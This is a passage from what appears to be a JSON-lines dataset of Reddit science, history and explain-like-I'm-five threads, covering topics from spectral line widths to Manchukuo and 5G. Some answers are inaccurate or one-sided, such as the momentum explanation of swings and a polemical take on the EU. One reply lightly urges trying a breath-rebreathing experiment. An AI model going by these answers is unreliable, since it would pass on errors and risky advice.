_URL_0_ you can see the lines have what appear to be 5-10nm widths.", "The natural line with (minimum with) of an atomic line is due to spontaneous emissions of photons.  Think damped harmonic oscillator.   The coupling of the states to the vacuum electro magnetic field is usually dominated by the dipole operator [; \\sim  < e | r | g  >  ;].  For many lines the width is several MHz.   There are also very narrow lines in some atoms, such as Sr, that can have sub Hz line widths.  ", "The first time that optical absorption on resonance was measured was in the 70's, since we did not have a light source which could be used to measure the resonance until the full development of stable lasers. For sodium atomic gas, taking care of other broadening mechanisms discussed here, the numbers are approximately the following: \n\n\nTransition frequency/ energy: 508.848 THz / 2.104 eV - >  Orange-y light (the numbers are more precise than this, I'm just lazy)\n\n\nLine-width : 61.54 MHz\n\n\nLaser line-width : stabilized below 3 MHz\n\n\n(source for numbers: _URL_0_)\n\nThe above numbers give us a specificity of how narrrow the atomic resonance of Sodium D2 transition is: \n  THz = 10^15 Hz\n  MHz = 10^6 Hz\n\nTransition frequency / linewidth = 508.848 / 61.54 * (10^15 / 10^6) = 8 x 10^11 .\n\nSo, if you laser is inaccurate/unstable to more than 1 part in 10 ^-11, than you will not be able to measure that particular type of resonance.  As others have mentioned, there are many types of resonances that one can measure when dealing with atoms. Furthermore, the linewidth of the resonance, and even the function used to describe the line-shape, are of much interest to the science which is being done in that particular experiment. I could go on and on , so ask away if there are any other questions!", "Keep in mind that frequency and wavelength are linked.  Normally in spectroscopy we reference the wavelength not the frequency.  But that doesn't matter. \n\nNormally things absorb light at bond sites and in pigments, etc.  Generally these things have a large margin for error.  Chlorophyll is basically a light powered thing, it's adsorption peaks are 20nm wide?  CH bonds absorb IR around 950nm, but again there's lots of room for error.\n\nKeep in mind that the photon doesn't need to hit anything.  It has an em field.  Its energy is being transferred because of its electrical characteristics.  \n\nI think looking at absorption graphs like Chlorophylls' is a good idea.  You'll notice it absorbs light at various wavelengths, but it absorbs much more at its peak. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Cauchy_distribution"], ["http://www.nist.gov/pml/div688/clock-082213.cfm", "http://www.nist.gov/pml/div689/20150421_strontium_clock.cfm", "https://en.wikipedia.org/wiki/Atomic_clock", "https://en.wikipedia.org/wiki/Laser_cooling", "http://bigthink.com/the-voice-of-big-think/the-laser-cooling-that-makes-atomic-clocks-so-accurate"], ["https://en.wikipedia.org/wiki/Spectral_line"], [], ["http://george.ph.utexas.edu/~dsteck/alkalidata/sodiumnumbers.pdf"], []]}
{"q_id": "7fdbg3", "title": "Was there ever a serious movement among the population of Manchuko, during the Sino-Japanese war period, to have Puyi restored as Emperor of China?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7fdbg3/was_there_ever_a_serious_movement_among_the/", "answers": {"a_id": ["dqb8iuk"], "score": [5], "text": ["Well yes and no. Puyi certainly wanted to be reinstated as the true emperor of China. So much so that he had the Qing coronation robes moved from Beijing to Changchun in 1932, the capital of Manchukuo. Of course a full restoration of the Qing Empire was not on the table. The Japanese Empire established a collaborationist government with the KMT defector Wang Jingwei. While they did collaborate with the Japanese, their primary goals were maintaining a strong \"republic\" and combating the Communist insurgency. Much like the Japanese, they too were wholly opposed to a full restoration. One thing to note here is that some Japanese advisers, both political figures and military figures, often dangled the prospect of a full restoration in front of Puyi to entice him into collaboration, but no real plans ever really came close to fruition in this regard. \n\nThere probably were people wishing for a full restoration of the Qing Dynasty in Manchukuo, but I am not aware of any specific movements during the Manchukuo period. Given the strong Japanese military presence in both Manchuria and East China I doubt there would have been much of an opportunity.  \n\nThere was however the 1917 Manchu restoration, which lasted about 11 days and was quickly thwarted by the Republic of China (ROC) troops. There were significant number of Manchu soldiers, mostly led by ex-bannermen, that rallied to the cause and there were demonstration of support for the restoration. I don't know how many Manchu soldiers were involved and from the primary sources I've read it wasn't clear at the time either. \n\nThis would be the last major attempt to restore the Qing Dynasy. Although, Puyi would not be expelled from the Forbidden City until 1924 when his imperial titles were officially revoked. Puyi and his advisers discussed the possibility of a restoration for years and negotiated with various warlords involved in China's civil war. Nothing ever came of these plans until the Japanese invasion of Manchuria in 1931.  \n\nTruthfully, Manchukuo as a nation occupies a strange place in history. It was on the one hand a restoration of an old dynasty that was legitimized through traditional Confucian logic, and yet at the same time it was a pan-racial, nation state. Puyi was not an emperor but rather a chief executive, much to his frustration as he wanted to rule under the Mandate of Heaven and not as a nationalist political figure.  \n\nUltimately however, Puyi was simply a figurehead under the Japanese to project a sense of legitimacy, both to the Manchurian population and the rest of the world. It was very much an attempt create an illusion of self-determination and Manchu nationalism. Given this sort of vague political environment, it would be challenging and strange to launch a popular mass movement to simply alter the title of Manchukuo's ruler.  \n\nThe best book by far on this subject is Prasenjit Duara's Sovereignty and Authenticity : Manchukuo and the East Asian Modern.\n\nInterestingly though, there was a minor revolt in the late 1950s during the Great Leap Forward/Great Famine when a local peasant led a minor movement against the PRC to restore the monarchy. It was isolated to a single village and I've only ever read one reference to it in Tombstone by Yang Jisheng. It's possible that the reports were all based on hearsay. That's the most recent such movement that I've heard of. I'll need to go find my copy of the book to check the exact year/location. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "30zsx0", "title": "They say aliens have to be considered when thinking about these 'fast radio bursts' or FBR, but what is the most plausible/probable explanation for them?", "selftext": "Saw this article on /r/unexplainedphotos and thought I could get a better answer here as to what this could be beyond the speculation it offers.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30zsx0/they_say_aliens_have_to_be_considered_when/", "answers": {"a_id": ["cpxkiu3"], "score": [3], "text": ["This is a good question that a number of astronomers are working on.\n\nThere is good evidence that these are \"real\" and cosmological in origin, dealing with the fact that two telescopes have seen these now and that the dispersive delay (the lower frequency parts of the burst arrives later) implies they must pass through electron content greater than that available in the particular line-of-sight through the Milky Way. However, the implied rates of these events do not line up with any known astrophysical events. As more bursts happen, we will have better statistics.\n\nSo, possibilities off the top of my head:\n\n* They are terrestrial: Could still be something from the atmosphere, just seen at two telescopes so far (I've heard other rumors of more but wouldn't say more than that even if I did actually know). A lot of evidence leads to this not being the case but there are still some unexplored possibilities. While evidence has been mounting for them being cosmological for about a decade, a recent [arXiv paper ](_URL_1_) did make it out to be a potential [Bode's Law](_URL_2_).\n* They are from the atmosphere: I've done some work regarding the ionosphere recently and so the thought came up. Maybe you get a really weird conspiracy of different effect happening, whether from the ionosphere or otherwise. I can't get into it too much more because I haven't actually done the numbers because instead of doing research, I'm answering questions on Reddit, woo!\n* Massive energy outbursts (i.e. gamma ray burst-like events, etc.): Again, the rates don't match up with anything known, but the statistics are still small\n* Giant pulses from pulsars or bright [RRATs](_URL_0_): I like this idea because, well... pulsars. Given that we see amazingly bright pulses from objects like the Crab Pulsar, and single pulses from RRATs, maybe we are seeing these things pointed at us from other galaxies, that through the statistics of how bright pulses can be, they just happen to be bright enough to see ones occasionally.\n* New phenomena: Maybe it's linked with some mechanism we wouldn't expect. That would imply new and cool physics!\n\nI know a lot of people working in this area now. Expect results, exciting or otherwise, in the near future!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Rotating_radio_transient", "http://arxiv.org/pdf/1503.05245.pdf", "http://en.wikipedia.org/wiki/Titius%E2%80%93Bode_law"]]}
{"q_id": "10h92y", "title": "Fellow historians, I just moved to Southern California and realized I know very little about the history of the region.  Any suggestions on sites to visit?  Fascinating books to read?", "selftext": "I really love putting myself in the context of the history of my surroundings, and other than a little bit of Native American's encounters with Europeans, I don't know too much about this part of the United States.  I am originally from the Mid-Atlantic, and while I'm sure this won't get too much attention since it is such a specific question, I was hoping this post might catch the attention of at least a couple of you with some good suggestions.  \nThanks!\nBlehlup", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10h92y/fellow_historians_i_just_moved_to_southern/", "answers": {"a_id": ["c6dgsyf", "c6dj81b", "c6dlbj6"], "score": [6, 2, 2], "text": ["Welcome to California. The plastic surgery is most common on the Westside and behind the Orange Curtain; Griffith Park observatory is an amazing view especially at sunset, and free; and avoid the 10 and 405 as much as possible. Also, freeways are referred to as \"the [number].\" No one says \"Route this\" or \"Interstate that.\" \n\nRegarding history, coincidentally, someone [just asked about this earlier today]()_URL_0_, so I'm going to cut-and-paste a bit:\n\n >   I'll just recommend four books that do different things. First, Lisbeth Haas, Conquests and Historical Identities in California, 1769-1936 is not really an overview, but it does examine how native California, Spanish and Mexicans, and later Anglo-Americans conquered and related to one another. Steve Hackel's Children of Coyote, Missionaries of Saint Francis I know has some good work on the interactions and power sharing between Spanish and native Americans in the mission period, though I haven't read the whole thing. You could also check out Douglas Monroy's Thrown Among Strangers for a look at the mission period into the Mexican period. And, lastly, there's William Deverell's Whitewashed Adobe, which examines the different ways that the native American, Spanish, and Mexican history of Los Angeles has been systematically appropriated by Anglo-Americans. These all deal basically with native Californian, Spanish, and white interaction; there's a whole other literature on African-American history in California and Asian-American history in California. I could recommend a few things for the former, but I don't know of much before about 1900. As for the latter, I could probably dig a few things up, but not as much.\n\n >  So, really, this is such a huge question that it's very difficult to answer. At a meta level, the interactions between different groups--native Californians, Spanish, Mexicans, Asians, African-Americans, Anglo-Americans--have been the meat and potatoes of California history. These groups have spent this whole 150-year span you're asking about simultaneously struggling and mixing with one another. Before 1848, it was largely the Spanish and then Mexican elites who subordinated the native Americans but not without considerable mixing, cooperation, collaboration (see Hackel and Monroy, above). Since 1848, it has generally been the white Americans who have held the upper hand through a combination of violent, legal, and economic coercion, whether this was through appropriating Mexican ranchos through the courts, employing Chinese labor in extremely exploitative conditions, or segregating cities.\n\nThanks to /u/UrbisPreturbis\n > Also, for a shorter read, I would really recommend the first two chapters of City of Quartz by Mike Davis. In fact, read the whole book. It's about race, ethnicity and space onwards. The first chapters go up to 1900. It's about race,space, and capitalism in the greater LA area (and so much more).\n\n >  A good choice is also Nayan Shah's Contagious Divides which is about politics of public health and Chinese immigration in the Bay Area during the 1800s.\n\nAnd\n >  Good call on Mike Davis, I had forgotten that it deals with the earlier period as well as the 20th century.\nAnother one is Natalie Molina's Fit to be Citizens, about race and public health in Los Angeles. I seem to remember it being more 20th century than 19th, but it might make a good pair with Shah's work.\n\n >  I don't work with this material much, but this conversation is reminding me how California really does have a robust and high-quality historiography. Some other good ones, not always necessarily focused on race and ethnicity, are Linda Nash's Inescapable Ecologies, Sackman's Orange Empire, David Igler's work, both his Industrial Cowboys and his work on the Pacific (he has a monograph on California and the Pacific nearly ready to go to print), plus all the work on black Los Angeles, like Flamming's book Bound for Freedom.\n\nSo, any specific subjects you're interested in? ", "I enjoyed Kevin Starr, *Material Dreams: Southern California Through the 1920s.* I learned that Los Angeles was basically an act of will. I learned a lot about water politics. It's a good backdrop to the movie *Chinatown.* I also learned that the Bradbury Building, setting of the climax in the movie *Blade Runner,* was built thanks to messages from an ouiji board.", "I strongly recommend the book Cadillac Desert by Marc Reisner. It's about the water wars that shaped California and the west. It is a remarkable story and one that should be better known. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/10gnh0/how_have_notions_of_race_and_ethnicity_shaped/"], [], []]}
{"q_id": "banxxl", "title": "my daughter is in the 1st grade and has recently learned how to pump in a swing. explain to me why pumping on a swing makes the swing work...", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/banxxl/eli5_my_daughter_is_in_the_1st_grade_and_has/", "answers": {"a_id": ["ekcxoyi", "ekcyp4n", "ekd4h3a"], "score": [8, 3, 11], "text": ["A principle of physics called law of conservation of momentum. Every time she pumps her legs she creates additional momentum, when the legs straighten and stop pumping, that momentum transfers to the swing. ", "Energy conservation. That's a hard one to eli5. But basically, pumping the swing adds energy to the swing. And energy can't be created or destroyed so the energy from pumping gets added up to make it go higher. ", "I'm going to take a crack at this one. I hope I'm right.\n\n & #x200B;\n\nImagine if the swing were at rest, that is equilibrium so that the ropes are vertical and you are a pendulum at the bottom. If you would shift your weight so that mass is unevenly distributed (you are making an L shape instead of a pendulum) the ropes must shift from vertical to restore equilibrium. This creates acceleration in one direction. If you were to immediately restore your balance it would reverse the motion, but if you time when you change your balance, the acceleration accumulates."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a7s3og", "title": "when a dvd logo hits the corner perfectly, how come it does not go into an infinite loop hitting the opposite corner?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a7s3og/eli5_when_a_dvd_logo_hits_the_corner_perfectly/", "answers": {"a_id": ["ec5axyw", "ec5b5vk", "ec5b7ym", "ec5gksb", "ec5iz0q"], "score": [32, 3, 2, 18, 2], "text": ["Because the angle at which it's bouncing is not equal to the angle from corner to corner of your TV screen.", "If the screen was square, and the dvd logo hit it at 45 degrees, then this would happen. But if that were the case it would happen all the time and the logo wouldn\u2019t move around the screen the way it does. \n\nIn reality, very few screens are exactly square, so the logo will only sometimes hit the exact corner of the screen. The rest of the time it will hit somewhere along the edge. ", "On a square screen it might, but on a rectangular one it doesn't make sense. It really depends on how it was programmed. On the original Atari 2600, the Breakout game ball could bounce between the paddle and a corner indefinitely. ", "Software developer here,\n\nI've actually written screen bouncy things like this. They're dead simple. First, the screen is a grid, which means it has a coordinate system. Each pixel is 1 unit. The X-axis is from left to right, and the Y-axis is from the top to the bottom. Why it doesn't go from the bottom to the top, like every graph you've ever seen in your life, I'll never know.\n\nJust as you open any image on a computer and it's always within a rectangular box, so too, is the logo. We call this the bounding box. We keep track of each coordinate, x and y, and this refers to the upper left corner of the bounding box. We also know the width and height of the bounding box so we can compute the location of any corner. We also know the size of the screen as a bounding box of its own.\n\nWe keep track of how much we add to each coordinate, let's call these variables delta_x and delta_y. The sign of our delta_* variables (positive or negative) tell us which direction the logo is moving. The larger the value, the faster we move in that coordinate.\n\nSo the program is going to loop, and in that loop we add our delta_* variables to their corresponding coordinates. We then check if the bounding box of the logo is at or beyond the edge of the screen (if it's beyond, we'll backpedal the difference). For either edge that hits the border, we flip the sign of its delta_* variable. So we toggle from adding to subtracting to adding to subtracting... Because we know the sign of our delta_* variables, we know which direction we were moving, so we only ever have to check 2 of the edges, the ones facing the direction we're moving.\n\nThat the screen is a rectangle and not a square, it'll never get caught in a loop bouncing from corner to corner provided you start with delta_* variables that aren't a multiple of the aspect ratio - otherwise, the logo is moving at a perfect angle across the screen and can get stuck.", "If the screen was a perfect square and the logo only traverses the screen at a 45 degree angle, then it would bounce corner to corner. But it would also have to start at the corner and that wouldn't be very fun. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4rnjyr", "title": "pearlescent paint, what's going on there?", "selftext": "Not sure about the flair honestly, sorry.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rnjyr/eli5_pearlescent_paint_whats_going_on_there/", "answers": {"a_id": ["d52n93s", "d5305gz"], "score": [8, 5], "text": ["Old style \"metallic\" paint used aluminium platelets to provide the colour effect. The appearance of these paints were similar, the only difference being the colour added.\n\n\"Pearlescent\" paints use a mica (mineral) platelet that has been chemically treated with different chemicals to produce different effects.\nThe size of the platelet, different chemical treatments and colour can produce may different effects.", "There are little bits of metal or rock mixed in the paint. Those bits reflect light, but they don't reflect it perfectly. Think of how light hitting a curved lens or round glass of water spreads out the light and produces a rainbow effect. The same thing is happening when the light hits the little bits in the paint, except the rainbow is hitting you directly in the eyeball. Depending on what angle you're standing at, you're going to see the different colors of the rainbow reflected into your eye. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5ja7hx", "title": "the effects of the italian referendum that caused renzi to resign.", "selftext": "What was the referendum about? What was the question on the ballot? And why did he resign? Was he on the losing side?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ja7hx/eli5_the_effects_of_the_italian_referendum_that/", "answers": {"a_id": ["dbeqiwg", "dbev1k0"], "score": [4, 3], "text": ["The Italian Referendum was about reshaping the constitution and would have been some of the biggest changes since 1945. I would go more into detail, but its very long and someone else would be able to explain it better. But Renzi had staked his entire career on it passing and said that if it wouldn't pass he would leave office, and when push came to shove he lost. But Italy's very liable to make changes to it's constitution soon, though, not going in the direction Renzi would like.", "Italy is in desperate need of reform but it should have done this years ago before joining the Euro. Italy's woes are fundamentally the fault of the EU, they introduced the common currency and gave participating nations the target of modernising their economies in a 10-15 year time frame. \n\nThis never happened, neither did it happen in Greece, Spain, Protugal or France, so basically they're all using a currency which is grossly overvalued in relation to their economic strength. Therefore, everything they make or do is twice as expensive as its perceived value and their economies are fukt. \n\nRenzi was trying to reform the constitution to try to ensure more stable governance, once in place he speculated that the government could then proceed with the economic reforms it desperately needs. However, Italians saw this as a pro-EU power grab and disagreed.\n\nThe thing is, Italians ain't stupid and they can see the the central cause of 8 years of stagnation is the EU and its ridiculous ideology-based fiscal policy. When the Brexiteers won their referendum in the UK, the loudest applause was coming from Italy and they too are vying for a 'Quitaly' referendum - either to get them out of the euro or even the EU altogether.\n\nBut all that is moot; unless Germany pulls out of the euro the currency is doomed anyway, when that happens it will basically kick the legs out from under the EU and it's game over."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "15kvpi", "title": "How long can I reuse the same breath?", "selftext": "So I have a balloon like device attached over my mouth, it easily inflates when I exhale.\n\nHow long can I continue to use this device (and therefore the same volume of air) before I blackout/die?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15kvpi/how_long_can_i_reuse_the_same_breath/", "answers": {"a_id": ["c7nczn7", "c7nkqr6"], "score": [16, 2], "text": ["Is there any air in the device to start with? \n\nAre you pre-breathing 100% 02 or room air?\n\n If it starts with 0 volume and you're an average male, that means you'll exhale ~600mL of air, since we use about 25% of the oxygen we inhale on a single breath you will have about 95mL of oxygen exhaled into the bag.  We normally use 250mL/minute of oxygen, you won't be able to extract all 95mL of oxygen because of diffusion pressures anyways, so you will run out of oxygen in under 30 seconds.  Passing out can vary wildly, some individuals can last minutes, others will last 15 seconds.  Syncope is not something we have a defined limit on for oxygenation at least, but I'd go somewhere within 60 seconds for most persons.\n\nIf you were pre-breathing 100% 02 that means you'd have 600mL of oxygen to work with.  The problem here is that you exhale CO2, and it will again screw with the diffusion pressures.  Let's work within the 250ml/min and an average rate of 12 breathes per minute.  That means we're extracting ~21mL of 02 and exhaling close enough to that amount of CO2.  That means in 1 minute you'll be at 350mL of oxygen, and 250mL of CO2, this will drastically hinder oxygen uptake within the lungs, the pp of the CO2 within your blood will actually prevent it from diffusing back across, making you acidotic and reducing the Hgb affinity for oxygen further.  Thus, you'll be unable to clear CO2, and become acidotic, this alone won't make us pass out however, until CO2 becomes high enough to make a person faint (again, highly variable, let's go with 140mmHg as a reasonable guesstimate point however.)\n\nThis of course all presumes you have the nose perfectly sealed the entire time.\n\nIf there was a way to evacute just the CO2, you'd have considerably longer, but in the case of being unable to evacute it, we're in the same neighbourhood as the original, somewhere right close to 60 seconds.", "Try it and let us know. Have a safety team with you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3877hj", "title": "How safe would a child be in a medieval city?", "selftext": "Medieval is a wide term, but let's say XIII century England.\n\nThere is a popular depiction of street urchins stealing money - but obviously not all children can be thieves - especially the children of the middle-class inhabitants of the city. Would they play without fear in the streets with their peers, or were the local children restricted, say staying in the backyard, or never going away from someone supervising?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3877hj/how_safe_would_a_child_be_in_a_medieval_city/", "answers": {"a_id": ["crsxlh7"], "score": [10], "text": ["A good source to consider is a book called \"Rescue of the Innocents\" by Ronald Finucane, which examines miracles performed on children throughout the middle ages, and it contains a lot of primary source material on children in the middle ages. There is one account from England in 1307 describing the death of a child by drowning and her miraculous revival--detailing the way the children were left by the parents as the parents went about their own business. In the inquisition of the parents, they state; \"[My husband and I] with our many neighbors, went to a beer tavern in Walter de la Wile's house in Marden Village. When we left the house we left behind Joanna our daughter, then not yet five years old. Joanna, however followed us to the pub, where she found John , then slightly younger than herself. As I watched, John and Joanna left the pub together and went into a garden or clearing by the pub, and I did not see what they did there.\" John eventually pushed Joanna into a pond where she drowned....\n\nHere we can see a clear example of the parents abandoning their children in the town while they went to a pub to drink beer. While this is not representative of every parent in the middle ages, it is a good example of how children were often left by themselves, as communities, especially farming villages were close enough for the children to go about on their own. We can see how this did not end well for them....\n\nMy answer would be that as soon as a child could work, either in the fields, as an apprentice, a squire, or as a seamstress, they were viewed as an adult and were given the responsibility as such. Hope this helps.\n\n*I'm a history major"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "34mfpj", "title": "in the u.s., why are residents of alaska and hawaii many times ineligible to win sweepstakes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34mfpj/eli5_in_the_us_why_are_residents_of_alaska_and/", "answers": {"a_id": ["cqw1kew", "cqw1ycj"], "score": [22, 22], "text": ["Logistics.  Usually if it's travel based or involves multiple shipments, companies will prohibit them due to the higher costs of travel and/or shipping.", "It's expensive to get us places. I live in kodiak, Alaska, and plane tickets just to get off the island can cost up to $800. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1yhzj2", "title": "what is the purpose of the foreign corrupt practices act?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yhzj2/eli5_what_is_the_purpose_of_the_foreign_corrupt/", "answers": {"a_id": ["cfkofga"], "score": [2], "text": ["It addresses two issues.\n\nFirst, it's a \"good neighbor\" policy.  It's hard to fight graft and corruption when the funding for the graft and corruption is coming from another country.  The US wants to be able to say \"not our fault\" when other countries bitch about how they can't control graft and corruption.\n\nSecond, it avoids all sorts of loopholes.  Can't bribe someone in the US?  Bribe their brother in Uzbeckibeckibeckistan instead.  Not being able to bribe anyone anywhere means there's no loopholes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ajq4ln", "title": "Is there a point in temperature where wind is warmer than the standing air?", "selftext": "We all know \"Wind Chill\" or things like that where the  temperature is colder than usual because it's windy, which causes everything to feel colder than it is. Wind is movement of particles, so does that mean that at some point if it gets cold enough (could even be something not humanly withstandable), the wind blowing will make it feel warmer instead of cooler?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ajq4ln/is_there_a_point_in_temperature_where_wind_is/", "answers": {"a_id": ["ef0rm1s", "ef0tq63"], "score": [2, 3], "text": ["Not unless the blowing air is actually warmer than the standing air, which is not usually the case.\n\nIf there is moisture on your skin (most commonly sweat when it's hot outside, but can happen when it's cold as well) then a breeze will accelerate the evaporation of this moisture. Vaporous water is higher energy than liquid water, so the liquid water absorbs some heat from your body in the process of evaporation, cooling you. \n\nThe second way that wind cools us is convection/conduction. When molecules of air bump into our bodies they exchange energy. If the molecules of air are cold, then they absorb a little heat (making you feel colder) and bounce off. If the molecules of air are hot, then they give off a little heat (making you feel hotter) and bounce off. In either case, the wind accelerates this process by shoving more molecules against your body, and by displacing the existing molecules that might have already started to form a little bubble of warmer or colder air. \n\nThe \"wind chill\" effect is exactly this second phenomena. If you stand in still air at 40 degrees then your body experiences heat loss at a given rate. If the wind is blowing then your body experiences heat loss at a faster rate, so even though the wind's temperature is 40 degrees the rate of heat loss might feel as though you were standing in still air that was 20 degrees. The air temperature is not actually 20 degrees, but it \"feels like\" 20 degrees because the rate of heat loss is equivalent. An easy way to demonstrate this is to set a bowl of water out on a windy day- if the wind's actual temperature is 40 degrees then it can't actually cool you down below 40 degrees (except accounting for evaporation) and the water won't freeze even if the wind chill is 20 degrees. ", "It's not about being cold enough, it's about being warm enough. For humans, ignoring sweat, it's 37C, body temperature. Or if we aren't talking humans, it's whatever temperature the object being cooled is at. \n\n\nThe rate at which heat is transferred by conduction (contact) is dependent on the temperature difference. When air is stagnant, the air around our bodies is heated. Since it's not moving, other than slowly by convection, we are now in contact with warmer air. This means a lower heat transfer. The sensation you feel has nothing to do with temperature, but the rate at which you lose (or gain heat). As seen by both windchill and things like metals or water feeling cold are room temperature compared to wood or air. Lower heat transfer mean you feel warmer. \n\n\nWhen air is moving, the heated air near you is quickly replaced by new air. Hence, you are in contact with colder air, and you therefore lose heat at a greater rate. As the wind gets faster, so to does the effect. Until a certain point where the wind starts to heat you up (what you were getting at), but that's not until supersonic speeds. Unless you're making a supersonic jet or re-entry spacecraft, wind does not cause heating from its energy. \n\n\nSo stagnant air feels warmer and moving air feels colder. But, only if it's below 37C, as it normally is. If it's above, the same thing happens, but the other way around. You cool the air that's warmer than you, and so you have a cold layer around you making you gain heat slower, feeling colder. If the air is moving, you lose this later and gain heat faster. \n\n\n\nHowever, this is only true at 100% humidity. Humans also lose heat by evaporation (sweat), just not conduction. Thankfully, or else temperatures in the 30's would rapidly kill us from overheating. \n\n\nWind also effects the rate at which we lose heat by evaporation too. As sweat evaporates, the air around us gets higher humidity, which means more sweat evaporates slower. Moving air sweeps away the humidity, so you can keep sweating into as dry of air as possible increasing the rate at which you lose heat. \n\n\nNo temperature would stop this rate. Wind would continue cooling you faster due to evaporation well beyond 37C and continue to humanly unimaginable temperatures. \n\n\nSo which effect wins over? Depends on the humidity. 100% humidity (water can't evaporate) and wind at 37C starts to feel warmer. As the humidity drops, the temperature at which wind would start to feel warm would increase. In the 90% it would probably go into the 40's. At low humidity, you'd be dead before it ever came close to a point of the two effects breaking even. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1fyees", "title": "During the 15th-17th centuries was Venice a particularly \"Jewish\" city?", "selftext": "I read how many nations had expelled Jews and how Venice was the first to create an actual Jewish ghetto. Does this mean that Venice held a significant Jewish population? Was the city known for it's Jewishness?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fyees/during_the_15th17th_centuries_was_venice_a/", "answers": {"a_id": ["caf6uog"], "score": [3], "text": ["In contemporary European terms the Venetian Jewish population was certainly significant (as you said, many other European nations and cities had completely expelled them) which is why the Ghetto was set up in 1516. Interestingly, the buildings in the Ghetto weren't allowed to rise any higher than the homes of the Christians, which is why they were built with many very short storeys to pack as much space in for the expanding community. At various times the Jews were also locked in the Ghetto at night, and were required to wear identifying clothing. They were more 'tolerated' than being a symbiotic part of the city.\n\nNevertheless Venice was noted, perhaps not for its 'Jewishness', but certainly as a place where a notable Jewish minority lived in a prominent Christian city. One obvious contemporary source for this reputation would be Shakespeare's 'Merchant of Venice,' which focusses on a Jewish moneylender. (Other places were also linked to Jews in the Renaissance imagination, however - see Marlow's 'The Jew of Malta').\n\nIt is also important to remember that even when confined into the Ghetto the Jewish community did not become contiguous - it continued to be made up of many different ethnic groups each with their own place of worship. Hope that helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "42jwbp", "title": "why do simple-looking websites like google's homepage sometimes have enormous amounts of seemingly incomprehensible code?", "selftext": "See for yourself by going to Google and clicking 'view source'", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42jwbp/eli5_why_do_simplelooking_websites_like_googles/", "answers": {"a_id": ["czay7rf", "czb5y3b", "czb6hng"], "score": [20, 4, 2], "text": ["Because to the right person, it's not incomprehensible. All that code does something whether provide analytics, predictive text, sizing for your browser, etc... a lot of stuff happens behind the scenes to make things appear smooth, fast and easy.", "The Google homepage is loaded zillions of times per day. Any reduction in page size makes it download faster and put less pressure on the Google servers, which translates into more profit and lower costs.\n\nAs mentioned by others, minification is typically used, but for something like Google that's just scratching the surface. They have engineers spending hundreds of hours finding tiny optimisations and shortcuts to shave off every byte they can.\n\nIf someone can find a hacky piece of JavaScript that looks incomprehensible but they can prove it'll work and it's fewer bytes, then they'll ship it because for a critical page like this it's worth it, even though for normal situations it might be a bad idea.", "Also, people aren't directly writing or maintaining the \"incomprehensible\" html/css/JS you are looking at. It is that way because you are looking at generated code. They are using a GUI framework that builds those pages and serves them. The code that generated those pages is probably very easy to read and much more comprehensible, if you understand the framework.    \n   \nThey probably use something like this:   \n   \n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.gwtproject.org/"]]}
{"q_id": "45g28g", "title": "cellphone carriers will soon be testing and rolling out 5g which is 10-100x faster than 4g. why are cellular data speeds advancing so quickly when home internet speeds are being stifled by the same companies (att and verizon)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45g28g/eli5_cellphone_carriers_will_soon_be_testing_and/", "answers": {"a_id": ["czxkwbx", "czxkwle", "czxl9kl", "czxlytr", "czxlzcx", "czxnsrj", "czxnusz", "czxtp1b"], "score": [107, 5, 2, 26, 21, 5, 3, 2], "text": ["Because wireless communications have brutal and tremendous competition.  Home internet has virtually none.", "It's pretty easy to create more cellular bandwidth by just upgrading the hardware on all your towers. Upgrading in-home services, however, would require digging up and replacing all of the fibers leading to all of the houses, which would be massively expensive. Google gets to do it because they are building their own system from scratch, but the big companies already have working infrastructure they don't particularly want to dig up.", "Because cellular networks are more profitable and those same companies are moving away from home/cable networks into cellular networks.\n\nPlus, in the cellular networks, the multiple carriers all operate in the same physical space, whereas home/cable companies collude to not compete or operate in the same space, going so far as to write state protectionist laws to prevent competition from challenging them.", "They don't usually have competition to force them to increase home internet speeds.  \n\nCurrent (docsys 3.x) cable modems can get gigabit speeds over existing cable lines so often jacking up speeds wouldn't require large investments like they claim.  But from a business and advertising perspective it's a lot better to be able to say hey we made your internet 